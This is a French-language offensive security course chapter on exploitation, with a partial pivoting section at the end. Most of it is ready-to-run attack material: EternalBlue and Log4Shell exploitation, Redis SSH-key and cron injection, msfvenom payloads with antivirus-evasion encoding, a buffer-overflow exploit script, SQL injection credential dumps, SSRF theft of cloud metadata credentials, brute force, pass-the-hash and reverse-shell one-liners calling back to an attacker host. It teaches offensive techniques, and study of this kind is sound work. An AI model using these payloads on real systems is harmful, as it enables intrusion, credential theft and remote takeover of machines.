Chapitre 3.2 - Techniques d'Exploitation : De la Couche Réseau à la Couche Application
Module 3 : Sécurité Offensive et Exploitation Prérequis : Chapitre 3.1 (Reconnaissance, Scanning et Enumération)
Table des matières
- Méthodologie d'Exploitation et Classes de Vulnérabilités
- Exploitation de la Couche Réseau - Vulnérabilités de Services et Abus de Protocoles
- Framework Metasploit - Architecture, Modules et Flux de Travail
- Débordements de Tampon - Mécanique de Pile et Livraison de Shellcode
- Exploitation des Applications Web - SQLi, SSRF et Injection de Commandes
- Attaques d'Authentification - Identifiants par Défaut, Force Brute et Credential Stuffing
- Fondamentaux Post-Exploitation - Shells, Pivoting et Persistance
- Détections Défensives et Atténuations
- Correspondance MITRE ATT&CK
- Quiz
1. Méthodologie d'Exploitation et Classes de Vulnérabilités
L'exploitation est l'acte de tirer parti d'une vulnérabilité pour obtenir un effet au-delà de l'autorisation prévue - typiquement l'exécution de code, le contournement de l'authentification ou l'escalade de privilèges. La méthodologie professionnelle est séquentielle : les informations recueillies lors de la reconnaissance orientent la sélection des vulnérabilités, qui oriente le choix de l'exploit, qui oriente la sélection du payload.
Taxonomie des Vulnérabilités
| Classe | Cause Racine | Impact Typique | Exemples de CVE |
|---|---|---|---|
| Corruption mémoire | Opérations mémoire non sécurisées (C/C++) | RCE, escalade de privilèges | CVE-2021-44228 (Log4Shell), CVE-2017-0144 (EternalBlue) |
| Injection | Entrée utilisateur non assainie atteignant un interpréteur | RCE, exfiltration de données, contournement d'auth | SQLi, injection de commandes OS, injection LDAP |
| Failles d'authentification | Logique d'auth faible ou absente | Accès non autorisé | Identifiants par défaut, JWT alg:none, CVE-2021-22986 |
| Failles logiques | Logique métier incorrecte | Escalade de privilèges, contournement | IDOR, navigation forcée, manipulation de paramètres |
| Désérialisation | Données non fiables désérialisées | RCE | CVE-2015-4852 (WebLogic), CVE-2021-42237 |
| SSRF | Le serveur effectue des requêtes contrôlées par l'attaquant | Accès réseau interne, métadonnées cloud | CVE-2019-0230 (Struts), violation Capital One |
| XXE | Analyse XML non sécurisée | Lecture de fichiers, SSRF | CVE-2021-40438 (Apache mod_proxy) |
| Mauvaise configuration | Paramètres par défaut non sécurisés | Compromission totale | Buckets S3 ouverts, Redis non authentifié |
Cycle de Vie du Développement d'Exploit
Reconnaissance → Identification de vulnérabilité → Sélection d'exploit → Génération de payload
→ Livraison → Exécution → Post-Exploitation → Nettoyage
Le point de décision critique est la sélection d'exploit vs. développement. Les exploits publics (Exploit-DB, modules Metasploit, dépôts GitHub PoC) couvrent la majorité des CVE connus. Le développement d'exploit personnalisé est requis pour les zero-days ou les cibles très spécifiques. Ce chapitre se concentre sur la mise en oeuvre de vulnérabilités connues - le scénario le plus courant en conditions réelles.
2. Exploitation de la Couche Réseau - Vulnérabilités de Services et Abus de Protocoles
EternalBlue (CVE-2017-0144) - Exécution de Code à Distance via SMBv1
EternalBlue reste l'un des exploits réseau les plus significatifs opérationnellement jamais publiés. Il exploite un débordement de tas dans le gestionnaire Trans2 de SMBv1, permettant l'exécution de code au niveau du noyau sans authentification. WannaCry et NotPetya l'ont utilisé à une échelle mondiale.
La vulnérabilité : le gestionnaire SMB_COM_TRANSACTION2 de SMBv1 calcule incorrectement la taille du tampon lors de la combinaison de plusieurs sous-commandes, permettant un débordement de tas dans le pool du noyau Windows.
# Étape 1 : Vérifier que SMBv1 est activé et non corrigé
nmap -p 445 \\
--script smb-protocols \\\\ # Vérifier quelles versions SMB sont activées
--script smb-vuln-ms17-010 \\\\ # Vérifier directement EternalBlue
192.168.1.100
# Sortie : "VULNERABLE" si MS17-010 n'est pas corrigé
# Étape 2 : Confirmer via vérification manuelle du protocole SMB
nmap -p 445 --script smb2-security-mode 192.168.1.100
# SMBv1 présent + signature de message désactivée = cible idéale
# Étape 3 : Exploitation avec Metasploit
msfconsole -q # -q : mode silencieux, passer la bannière
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50 # Votre IP
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > run
# Attendu : session Meterpreter ouverte (niveau SYSTEM)
# Vérification : devrait être NT AUTHORITY\\\\SYSTEM
meterpreter > getuid
meterpreter > sysinfo
Vérification de l'état des correctifs (perspective défenseur) :
# Windows : Vérifier si MS17-010 est corrigé
wmic qfe get HotFixID | findstr KB4012212 # Win 7
wmic qfe get HotFixID | findstr KB4012215 # Win Server 2008 R2
# Linux : Vérifier la version de Samba (CVE-2017-7494 "SambaCry" - même époque)
smbclient --version
smbd --version
# Vulnérable : Samba 3.5.0 - 4.4.13, 4.5.x < 4.5.10, 4.6.x < 4.6.4
Log4Shell (CVE-2021-44228) - Exécution de Code à Distance via JNDI
Log4Shell est un RCE critique dans Apache Log4j 2.x. La vulnérabilité réside dans la fonctionnalité de recherche de messages : lorsque Log4j enregistre une chaîne contenant ${jndi:ldap://attacker.com/a}, il résout la référence JNDI, se connectant au serveur LDAP de l'attaquant et chargeant une classe Java distante - exécutant ainsi du code arbitraire.
Vecteur d'attaque : toute chaîne journalisée par l'application que l'attaquant peut influencer - en-têtes HTTP (User-Agent, X-Forwarded-For, X-Api-Version), champs de formulaire, noms d'utilisateur.
# Étape 1 : Configurer un serveur d'exploit JNDI
# marshalsec - serveur de redirection LDAP Java
git clone https://github.com/mbechler/marshalsec
cd marshalsec && mvn package -q
# Démarrer le serveur LDAP redirigeant vers votre serveur HTTP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \\
marshalsec.jndi.LDAPRefServer \\
"http://YOUR_IP:8888/#Exploit" # Rediriger la requête LDAP vers votre serveur HTTP
# Étape 2 : Servir une classe Java malveillante
# Compiler Exploit.java :
cat > /tmp/Exploit.java << 'EOF'
public class Exploit {
static {
try {
// Payload reverse shell
String[] cmd = {"/bin/bash","-c",
"bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {}
}
}
EOF
javac /tmp/Exploit.java -source 8 -target 8 # Compiler pour la compatibilité Java 8
python3 -m http.server 8888 --directory /tmp # Servir le fichier .class
# Étape 3 : Démarrer l'écouteur reverse shell
nc -lvnp 9001
# Étape 4 : Déclencher la vulnérabilité
# Injecter le payload JNDI dans un en-tête HTTP journalisé
curl -H 'X-Api-Version: ${jndi:ldap://YOUR_IP:1389/Exploit}' \\
http://target.example.com/api/login
# Tester aussi les champs journalisés courants :
curl -H "User-Agent: \\\\${jndi:ldap://YOUR_IP:1389/a}" http://target.example.com/
curl -d "username=\\\\${jndi:ldap://YOUR_IP:1389/a}" http://target.example.com/login
# Détection : rechercher les patterns JNDI dans vos propres logs
grep -r '\\\\${jndi:' /var/log/
grep -r 'jndi:ldap\\\\|jndi:rmi\\\\|jndi:dns' /var/log/
Scan rapide d'exposition à Log4Shell :
# log4j-scan - scanner automatisé
git clone https://github.com/fullhunt/log4j-scan
pip3 install -r requirements.txt
python3 log4j-scan.py \\
-u http://target.example.com \\\\ # URL unique
--dns-callback-provider interact.sh \\\\ # Utiliser le callback DNS pour la détection
--waf-bypass # Tester les variantes de contournement WAF : ${${::-j}ndi:...}
Redis - RCE Non Authentifié
Les instances Redis exposées sans authentification sur le port 6379 sont trivialement exploitables pour l'exécution de code via l'injection de tâches cron ou l'écriture de clés SSH :
# Vérifier Redis non authentifié
redis-cli -h 192.168.1.100 ping # Devrait retourner PONG si non authentifié
# Méthode 1 : Écrire une clé publique SSH dans authorized_keys de root
redis-cli -h 192.168.1.100 \\
config set dir /root/.ssh/ # Définir le répertoire de dump Redis sur .ssh
redis-cli -h 192.168.1.100 \\
config set dbfilename authorized_keys # Définir le nom du fichier de dump
redis-cli -h 192.168.1.100 \\
set pwn "\\n\\nssh-rsa AAAA...YOUR_PUBLIC_KEY... attacker\\n\\n"
redis-cli -h 192.168.1.100 save # Écrire sur disque - authorized_keys
ssh -i ~/.ssh/id_rsa root@192.168.1.100 # Se connecter
# Méthode 2 : Injection de tâche cron
redis-cli -h 192.168.1.100 config set dir /var/spool/cron/
redis-cli -h 192.168.1.100 config set dbfilename root
redis-cli -h 192.168.1.100 \\
set pwn "\\n\\n* * * * * bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\\n\\n"
redis-cli -h 192.168.1.100 save
# Méthode 3 : RCE par chargement de module Redis 4.x+
# Charger un fichier .so compilé comme module Redis
redis-cli -h 192.168.1.100 \\
MODULE LOAD /tmp/evil_module.so # Si vous pouvez d'abord écrire un fichier
3. Framework Metasploit - Architecture, Modules et Flux de Travail
Metasploit est le framework d'exploitation standard de l'industrie. Comprendre ses éléments internes - pas seulement ses commandes - est essentiel pour les opérations offensives et pour les équipes bleues qui doivent comprendre ce que les attaquants exécutent.
Architecture des Modules
metasploit-framework/
├── modules/
│ ├── exploits/ # Modules d'exploitation de vulnérabilités
│ │ ├── windows/smb/ # Plateforme/service/nom
│ │ ├── linux/http/
│ │ └── multi/handler/ # Gestionnaire de payload générique
│ ├── payloads/
│ │ ├── singles/ # Auto-contenus (sans stage)
│ │ ├── stagers/ # Petit chargeur qui récupère le stage
│ │ └── stages/ # Meterpreter, shell, VNC
│ ├── auxiliary/
│ │ ├── scanner/ # Scanners de ports, scanners de services
│ │ ├── brute/ # Brute-forceurs d'identifiants
│ │ └── gather/ # OSINT et énumération
│ ├── post/ # Modules post-exploitation
│ └── encoders/ # Encodage de payload (évasion AV)
Payloads Stagés vs Sans Stage
| Type | Format | Taille | Fonctionnement | Cas d'usage |
|---|---|---|---|---|
| Sans stage | windows/x64/meterpreter_reverse_tcp | ~250 Ko | Payload complet en une livraison | Livraison fiable, pas de seconde connexion nécessaire |
| Stagé | windows/x64/meterpreter/reverse_tcp | ~400 octets stager | Le stager se reconnecte, récupère le stage Meterpreter | Petit shellcode adapté aux débordements de tampon étroits |
# Flux de travail msfconsole de base
msfconsole -q
# Rechercher des modules
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2021-44228
msf6 > search name:eternalblue
# Utiliser un module et inspecter les options
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > info # Description complète du module, fiabilité, références
msf6 exploit(...) > show options # Paramètres requis et optionnels
msf6 exploit(...) > show targets # Versions OS cibles supportées
msf6 exploit(...) > show payloads # Payloads compatibles
# Configurer et exécuter
msf6 exploit(...) > set RHOSTS 192.168.1.100
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > check # Vérifier en toute sécurité si la cible est vulnérable (sans exploit)
msf6 exploit(...) > run # Exécuter (alias : exploit)
# Multi-handler - attraper les reverse shells de payloads externes
msf6 > use exploit/multi/handler
msf6 handler > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 handler > set LHOST 0.0.0.0 # Écouter sur toutes les interfaces
msf6 handler > set LPORT 4444
msf6 handler > set ExitOnSession false # Continuer à écouter après la première capture
msf6 handler > run -j # Exécuter comme tâche en arrière-plan
Meterpreter - Agent Post-Exploitation
Meterpreter s'exécute entièrement en mémoire (aucune écriture sur disque), communique via un canal chiffré, et fournit une API post-exploitation riche :
# Commandes Meterpreter de base
meterpreter > sysinfo # OS, nom d'hôte, architecture
meterpreter > getuid # Contexte utilisateur actuel
meterpreter > getpid # ID de processus de Meterpreter
meterpreter > ps # Lister tous les processus en cours
meterpreter > migrate 664 # Migrer dans le processus PID 664 (ex. : explorer.exe)
# Déplace Meterpreter dans un processus plus stable/discret
# Système de fichiers
meterpreter > ls
meterpreter > download C:\\\\Users\\\\admin\\\\Documents\\\\secrets.xlsx /tmp/
meterpreter > upload /tmp/tool.exe C:\\\\Windows\\\\Temp\\\\tool.exe
# Réseau
meterpreter > ipconfig # Interfaces réseau
meterpreter > arp # Cache ARP - révèle les autres hôtes sur le LAN
meterpreter > route # Table de routage
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.5
# Transférer le port local 3389 - 10.10.10.5:3389 (pivot via hôte compromis)
# Pivoting - router le trafic via la session vers le réseau interne
msf6 > route add 10.10.10.0/24 1 # Router 10.10.10.0/24 via l'ID de session 1
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run -j # Démarrer le proxy SOCKS via la session
# Collecte d'identifiants
meterpreter > run post/windows/gather/hashdump # Extraire les hachages SAM locaux
meterpreter > run post/multi/recon/local_exploit_suggester # Trouver les chemins d'escalade de privilèges
meterpreter > load kiwi # Charger l'extension Mimikatz
meterpreter > creds_all # Extraire tous les identifiants disponibles
meterpreter > lsa_dump_sam # Extraire la base de données SAM
meterpreter > lsa_dump_secrets # Extraire les secrets LSA
Générer des Payloads Autonomes avec msfvenom
# Reverse Meterpreter EXE Windows x64 (sans stage)
msfvenom -p windows/x64/meterpreter_reverse_tcp \\
LHOST=192.168.1.50 \\
LPORT=4444 \\
-f exe \\\\ # Format de sortie : exécutable Windows PE
-o /tmp/payload.exe
# DLL Windows (pour le détournement de DLL)
msfvenom -p windows/x64/meterpreter/reverse_tcp \\
LHOST=192.168.1.50 LPORT=4444 \\
-f dll -o /tmp/evil.dll
# Reverse shell ELF Linux
msfvenom -p linux/x64/meterpreter_reverse_tcp \\
LHOST=192.168.1.50 LPORT=4444 \\
-f elf -o /tmp/payload
# Payload web shell PHP
msfvenom -p php/meterpreter_reverse_tcp \\
LHOST=192.168.1.50 LPORT=4444 \\
-f raw -o /tmp/shell.php
# Payload Python (multiplateforme)
msfvenom -p python/meterpreter_reverse_tcp \\
LHOST=192.168.1.50 LPORT=4444 \\
-f raw -o /tmp/payload.py
# Encoder le payload pour contourner la détection basique par signature AV
msfvenom -p windows/x64/meterpreter_reverse_tcp \\
LHOST=192.168.1.50 LPORT=4444 \\
-e x64/xor_dynamic \\\\ # Encodeur XOR
-i 5 \\\\ # Itérer l'encodage 5 fois
-f exe -o /tmp/encoded_payload.exe
# Lister les encodeurs disponibles
msfvenom --list encoders
# Lister les formats de payload disponibles
msfvenom --list formats
4. Débordements de Tampon - Mécanique de Pile et Livraison de Shellcode
Comprendre les débordements de tampon au niveau conceptuel est essentiel pour le développement d'exploit, l'analyse CVE, et l'écriture de règles Snort/Suricata qui détectent les tentatives d'exploitation.
Disposition de la Pile et Mécanique du Débordement
Lorsqu'une fonction est appelée, le CPU empile : l'adresse de retour, le pointeur de base sauvegardé, et les variables locales (incluant les tampons). Un débordement de tampon de pile écrit au-delà de la fin d'un tampon local, écrasant l'adresse de retour sauvegardée. Lorsque la fonction retourne, le CPU saute à l'adresse contrôlée par l'attaquant.
Adresse haute
┌─────────────────────┐
│ ... (appelant) │
├─────────────────────┤
│ Adresse de retour │ ← Écraser ceci avec l'adresse du shellcode
├─────────────────────┤
│ EBP/RBP sauvegardé │ ← Écrasé avec du padding
├─────────────────────┤
│ Variable locale │
├─────────────────────┤
│ char buf[64] │ ← Le tampon commence ici ; le débordement écrit vers le haut
└─────────────────────┘
Adresse basse
Trouver le Décalage - Génération de Motif
Le décalage (nombre d'octets jusqu'à l'adresse de retour) est trouvé en envoyant un motif cyclique unique et en notant quels 4/8 octets écrasent RIP/EIP :
# Générer un motif cyclique (Metasploit)
msf6 > pattern_create -l 500 # Générer un motif unique de 500 octets
# Aaa0Aaa1Aaa2Aaa3...
# Après le crash : trouver le décalage depuis la valeur dans EIP/RIP
msf6 > pattern_offset -q 0x41306341 # Valeur trouvée dans le registre EIP
# [*] Correspondance exacte au décalage 112
# Utiliser pwntools (Python) - l'approche professionnelle
pip install pwntools
python3 - << 'EOF'
from pwn import *
# cyclic : génère une séquence De Bruijn
payload = cyclic(500)
print(payload)
# Après le crash, trouver le décalage depuis les 4 octets qui ont écrasé EIP
offset = cyclic_find(0x41306341) # Paqueter la valeur EIP en entier little-endian
print(f"Décalage : {offset}") # Sortie : 112
EOF
Squelette d'Exploit avec pwntools
#!/usr/bin/env python3
# exploit_bof.py - squelette générique d'exploit de débordement de tampon de pile
from pwn import *
# Configuration de la cible
TARGET_IP = "192.168.1.100"
TARGET_PORT = 9999
OFFSET = 112 # Octets pour atteindre l'adresse de retour
RET_ADDR = p64(0x7ffd12345678) # Adresse vers laquelle sauter (JMP ESP, gadget ROP, etc.)
# p64 : paqueter en little-endian 64 bits
# Shellcode : reverse shell Linux x64 (généré avec msfvenom ou pwntools)
shellcode = (
b"\\x48\\x31\\xc0\\x50\\x5f" # Exemples d'octets de shellcode
# En pratique : msfvenom -p linux/x64/shell_reverse_tcp LHOST=... -f raw
)
# Traîneau NOP : agrandit la zone d'atterrissage pour les sauts imprécis
nop_sled = b"\\x90" * 16 # 16 instructions NOP
# Construire le payload : padding + adresse de retour + traîneau NOP + shellcode
payload = b"A" * OFFSET # Padding pour atteindre l'adresse de retour
payload += RET_ADDR # Écraser l'adresse de retour
payload += nop_sled # Glisser vers le shellcode
payload += shellcode
# Se connecter et envoyer
io = remote(TARGET_IP, TARGET_PORT)
io.recvuntil(b"Enter input: ") # Attendre l'invite
io.sendline(payload)
io.interactive() # Passer en shell interactif
Atténuations Modernes et Techniques de Contournement
| Atténuation | Mécanisme | Technique de Contournement |
|---|---|---|
| ASLR | Randomiser les adresses de pile/tas/bibliothèque | Fuite d'information pour obtenir l'adresse de base ; force brute (32 bits) |
| DEP/NX | Marquer la pile/le tas comme non exécutable | Return-Oriented Programming (ROP) - réutiliser le code existant |
| Stack Canary | Placer une valeur aléatoire avant l'adresse de retour ; vérifier au retour | Fuite du canary via format string ; écrasement partiel |
| CFI (Intégrité du Flux de Contrôle) | Restreindre les cibles valides d'appel/saut | Nécessite une sélection précise de gadgets |
| RELRO | Rendre la GOT en lecture seule | Full RELRO empêche les écrasements de GOT ; Partial RELRO encore exploitable |
# Vérifier les atténuations binaires avec checksec (pwntools)
checksec --file=/usr/local/bin/vulnerable_app
# Sortie :
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found ← Vulnérable au débordement de pile
# NX: NX enabled ← Besoin de ROP pour contourner
# PIE: No PIE ← Adresse de base fixe, pas d'ASLR pour le binaire lui-même
# Trouver des gadgets ROP pour contourner NX
ROPgadget --binary /usr/local/bin/vulnerable_app --rop
# Chercher : "ret", "pop rdi ; ret", "syscall" etc.
# Alternativement avec ropper
ropper -f /usr/local/bin/vulnerable_app --search "pop rdi"
5. Exploitation des Applications Web - SQLi, SSRF et Injection de Commandes
Injection SQL - Manuelle et Automatisée
L'injection SQL se produit lorsque les données fournies par l'utilisateur sont concaténées dans une requête SQL sans paramétrage. L'attaquant termine la requête prévue et ajoute sa propre logique SQL.
# Détection manuelle - SQLi basée sur les erreurs
# URL originale : /product?id=5
# Injecter un guillemet simple :
curl "http://target.example.com/product?id=5'"
# La réponse inclut une erreur SQL - SQLi confirmée
# Déterminer le nombre de colonnes (basé sur UNION)
curl "http://target.example.com/product?id=5 ORDER BY 1--" # Pas d'erreur
curl "http://target.example.com/product?id=5 ORDER BY 5--" # Erreur - 4 colonnes
# Extraire des données avec UNION SELECT
curl "http://target.example.com/product?id=-1 UNION SELECT 1,2,3,4--"
# Trouver quelles positions de colonnes s'affichent dans la réponse, puis :
curl "http://target.example.com/product?id=-1 UNION SELECT 1,database(),3,4--"
# Retourne : nom de la base de données actuelle en position 2
# Extraire les noms de tables depuis information_schema
curl "http://target.example.com/product?id=-1 UNION SELECT \\
1,group_concat(table_name),3,4 FROM information_schema.tables \\
WHERE table_schema=database()--"
# Extraire les identifiants
curl "http://target.example.com/product?id=-1 UNION SELECT \\
1,group_concat(username,':',password),3,4 FROM users--"
sqlmap - exploitation SQLi automatisée :
# Détection et exploitation de base
sqlmap -u "http://target.example.com/product?id=5" \\
--batch \\\\ # Mode non interactif
--dbs \\\\ # Énumérer les bases de données
--level=3 \\\\ # Niveau de test (1-5) : plus de vecteurs aux niveaux supérieurs
--risk=2 # Niveau de risque (1-3) : plus agressif aux niveaux supérieurs
# Exploiter une base de données spécifique
sqlmap -u "http://target.example.com/product?id=5" \\
--batch -D targetdb \\\\ # Base de données cible
--tables # Lister les tables
# Extraire une table spécifique
sqlmap -u "http://target.example.com/product?id=5" \\
--batch -D targetdb -T users \\
--dump \\\\ # Extraire le contenu de la table
--columns # Afficher d'abord les noms de colonnes
# Exploitation de requêtes POST (formulaires de connexion)
sqlmap -u "http://target.example.com/login" \\
--method POST \\
--data "username=admin&password=test" \\\\ # Corps POST avec point d'injection
--batch --dbs
# Injection basée sur les cookies
sqlmap -u "http://target.example.com/dashboard" \\
--cookie "session=abc123; user_id=5*" \\\\ # * marque le point d'injection
--batch --dbs
# Exécution de commandes OS via SQLi (si l'utilisateur DB a le privilège FILE)
sqlmap -u "http://target.example.com/product?id=5" \\
--batch \\
--os-shell # Tenter un shell OS via INTO OUTFILE + UDF
# Lire des fichiers du serveur
sqlmap -u "http://target.example.com/product?id=5" \\
--batch \\
--file-read=/etc/passwd
SSRF - Falsification de Requête Côté Serveur
Le SSRF force le serveur à effectuer des requêtes HTTP vers des URL contrôlées par l'attaquant. Dans les environnements cloud, cela atteint trivialement le service de métadonnées (169.254.169.254) pour voler des identifiants IAM.
# Détection SSRF de base - faire requêter votre serveur au serveur
# Démarrer l'écouteur
python3 -m http.server 8080
# Injecter une URL dans un paramètre qui récupère du contenu distant
curl "http://target.example.com/fetch?url=http://YOUR_IP:8080/test"
# Si votre serveur reçoit une requête - SSRF confirmé
# Sondage du réseau interne via SSRF
# Sonder les ports internes courants via le serveur vulnérable
for port in 22 80 443 3306 5432 6379 8080 8443 27017; do
echo -n "Port $port: "
curl -s -o /dev/null -w "%{http_code}" \\
"http://target.example.com/fetch?url=http://127.0.0.1:$port/" \\
--max-time 3
echo
done
# 200/réponse = ouvert ; timeout/connexion refusée = fermé
# Service de métadonnées AWS via SSRF (critique - fournit des identifiants IAM)
curl "http://target.example.com/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "http://target.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Retourne : nom du rôle
curl "http://target.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
# Retourne : AccessKeyId, SecretAccessKey, Token - accès complet à l'API AWS
# Métadonnées GCP (point de terminaison légèrement différent)
curl "http://target.example.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \\
-H "X-Google-Metadata-Request: True" # Doit être ajouté comme en-tête par le serveur
# Techniques de contournement des filtres SSRF
# Notation IP décimale
curl "http://target.example.com/fetch?url=http://2130706433/" # 127.0.0.1 en décimal
# Bouclage IPv6
curl "http://target.example.com/fetch?url=http://[::1]/"
# Encodage URL
curl "http://target.example.com/fetch?url=http://%31%36%39%2e%32%35%34%2e%31%36%39%2e%32%35%34/"
# DNS rebinding (avancé) : enregistrer un domaine qui se résout en 127.0.0.1 après la vérification du filtre
Injection de Commandes OS
Lorsque l'entrée utilisateur atteint une commande shell sans assainissement, l'attaquant ajoute des métacaractères shell pour injecter des commandes supplémentaires :
# Points d'injection courants : utilitaires ping, recherches DNS, conversion de fichiers, traitement d'images
# Structures de payload :
# ; commande_injectée - exécution séquentielle
# && commande_injectée - exécuter si la première réussit
# || commande_injectée - exécuter si la première échoue
# `commande_injectée` - substitution de commande
# $(commande_injectée) - substitution de commande
# Détection : injecter un sleep et mesurer le temps de réponse
curl -s --max-time 10 \\
"http://target.example.com/ping?host=127.0.0.1;sleep+5"
# Si la réponse prend 5+ secondes - injection de commande aveugle confirmée
# Confirmation hors-bande (pas de réflexion de réponse)
curl "http://target.example.com/ping?host=127.0.0.1;curl+http://YOUR_IP:8080/pwned"
# Reverse shell via injection de commande
# Encoder le payload URL pour les paramètres GET
python3 -c "import urllib.parse; print(urllib.parse.quote('bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'))"
curl "http://target.example.com/ping?host=127.0.0.1;bash+-c+'bash+-i+>%26+/dev/tcp/YOUR_IP/4444+0>%261'"
# Automatisé : commix - outil d'exploitation par injection de commande
commix --url="http://target.example.com/ping?host=INJECT_HERE" \\
--technique=all \\\\ # Tester toutes les techniques d'injection
--os-cmd="id" # Exécuter une commande OS
commix --url="http://target.example.com/ping?host=INJECT_HERE" \\
--os-shell # Shell interactif
6. Attaques d'Authentification - Identifiants par Défaut, Force Brute et Credential Stuffing
Exploitation des Identifiants par Défaut
# Vérifications courantes d'identifiants par défaut
# Hydra - craqueur de connexion réseau rapide
hydra -l admin -P /usr/share/wordlists/rockyou.txt \\
192.168.1.100 http-post-form \\
"/admin/login:username=^USER^&password=^PASS^:Invalid credentials" \\
-t 30 \\\\ # 30 threads
-V \\\\ # Verbose - afficher chaque tentative
-f # S'arrêter au premier succès
# Force brute SSH
hydra -L /usr/share/wordlists/usernames.txt \\
-P /usr/share/wordlists/rockyou.txt \\
ssh://192.168.1.100 \\
-t 4 \\\\ # 4 threads (les connexions SSH sont coûteuses)
-s 22 # Port
# Force brute FTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt \\
ftp://192.168.1.100
# Force brute RDP
hydra -l administrator -P /tmp/passwords.txt \\
rdp://192.168.1.100 \\
-t 1 \\\\ # Thread unique (risque de verrouillage RDP)
-W 3 # Attente de 3 secondes entre les tentatives
# Medusa - alternative à Hydra
medusa -h 192.168.1.100 \\
-u admin -P /usr/share/wordlists/rockyou.txt \\
-M ssh \\\\ # Module : ssh
-t 4
# Vérification de liste d'identifiants par défaut (routeurs, imprimantes, IoT)
# Valeurs par défaut courantes : admin:admin, admin:password, root:root, admin:(vide)
for cred in "admin:admin" "admin:password" "admin:" "root:root" "guest:guest"; do
user=$(echo $cred | cut -d: -f1)
pass=$(echo $cred | cut -d: -f2)
result=$(curl -s -o /dev/null -w "%{http_code}" \\
-u "$user:$pass" http://192.168.1.100/admin/)
echo "$cred - HTTP $result"
done
Pulvérisation de Mots de Passe
Force brute avec un seul mot de passe contre de nombreux utilisateurs - évite le verrouillage en restant en dessous du seuil par compte :
# Pulvériser un seul mot de passe contre tous les utilisateurs AD via SMB
crackmapexec smb 192.168.1.0/24 \\
-u /tmp/userlist.txt \\\\ # Liste de noms d'utilisateurs depuis l'énumération LDAP
-p 'Welcome2024!' \\\\ # Mot de passe saisonnier courant
--continue-on-success # Ne pas s'arrêter après le premier succès
# Pulvériser contre OWA (Outlook Web App) - cible d'entreprise courante
# Utiliser ruler ou spray
spray.sh -smb 192.168.1.10 /tmp/users.txt 'Password1' 1 35 DOMAIN
# Format : hôte liste_utilisateurs mot_de_passe tentatives intervalle domaine
# CrackMapExec contre plusieurs protocoles
cme smb 192.168.1.10 -u users.txt -p 'Summer2024!'
cme winrm 192.168.1.10 -u users.txt -p 'Summer2024!' # WinRM (remoting PowerShell)
cme mssql 192.168.1.10 -u users.txt -p 'Summer2024!' # MSSQL
Pass-the-Hash (PtH)
Avec l'authentification NTLM, le hachage du mot de passe peut être utilisé directement pour l'authentification - le craquage est inutile :
# Extraire les hachages depuis l'hôte Windows compromis
meterpreter > run post/windows/gather/hashdump
# Sortie : Administrator:500:aad3b435...31d6cfe0d16ae931b73c59d7e0c089c0:::
# Format : nom_utilisateur:RID:hachage_LM:hachage_NTLM:::
# Pass-the-Hash avec crackmapexec
cme smb 192.168.1.0/24 \\
-u Administrator \\
-H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \\
# Format : hachage_LM:hachage_NTLM (la partie LM peut être fictive si non utilisée)
--shares
# PtH pour obtenir un shell via WMI
cme wmi 192.168.1.100 \\
-u Administrator \\
-H :31d6cfe0d16ae931b73c59d7e0c089c0 \\
-x "whoami" # Exécuter une commande
# PtH avec psexec.py d'Impacket
impacket-psexec \\
"DOMAIN/Administrator@192.168.1.100" \\
-hashes :31d6cfe0d16ae931b73c59d7e0c089c0
# PtH avec wmiexec.py (plus discret - n'écrit pas sur le disque)
impacket-wmiexec \\
"DOMAIN/Administrator@192.168.1.100" \\
-hashes :31d6cfe0d16ae931b73c59d7e0c089c0
7. Fondamentaux Post-Exploitation - Shells, Pivoting et Persistance
Types de Shell et Stabilité
# One-liners de reverse shell (attraper avec : nc -lvnp 4444)
# Bash
bash -i >& /dev/tcp/LHOST/4444 0>&1
# Python3
python3 -c 'import socket,subprocess,os; \\
s=socket.socket(); s.connect(("LHOST",4444)); \\
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); \\
subprocess.call(["/bin/bash","-i"])'
# Perl
perl -e 'use Socket; \\
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); \\
connect(S,sockaddr_in(4444,inet_aton("LHOST"))); \\
open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); \\
exec("/bin/bash -i");'
# PHP
php -r '$sock=fsockopen("LHOST",4444); \\
proc_open("/bin/bash -i",array($sock,$sock,$sock),$pipes);'
# PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass \\
"IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')"
# Améliorer un shell basique en TTY entièrement interactif
# Après avoir capturé le reverse shell dans nc :
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Puis : Ctrl+Z pour mettre en arrière-plan
stty raw -echo; fg # Mode brut, remettre nc en avant-plan
# Dans le shell : export TERM=xterm; stty rows 50 cols 200
Pivoting via des Hôtes Compromis
# Transfert de port local SSH - accéder au service interne via l'hôte compromis
ssh -L 8080:10.10.10.5:80 \\\\ # Transférer le local 8080 vers 10.10.10.5:80 via le saut
-N \\\\ # Pas de commande - tunnel uniquement
user@COMPROMISED_HOST
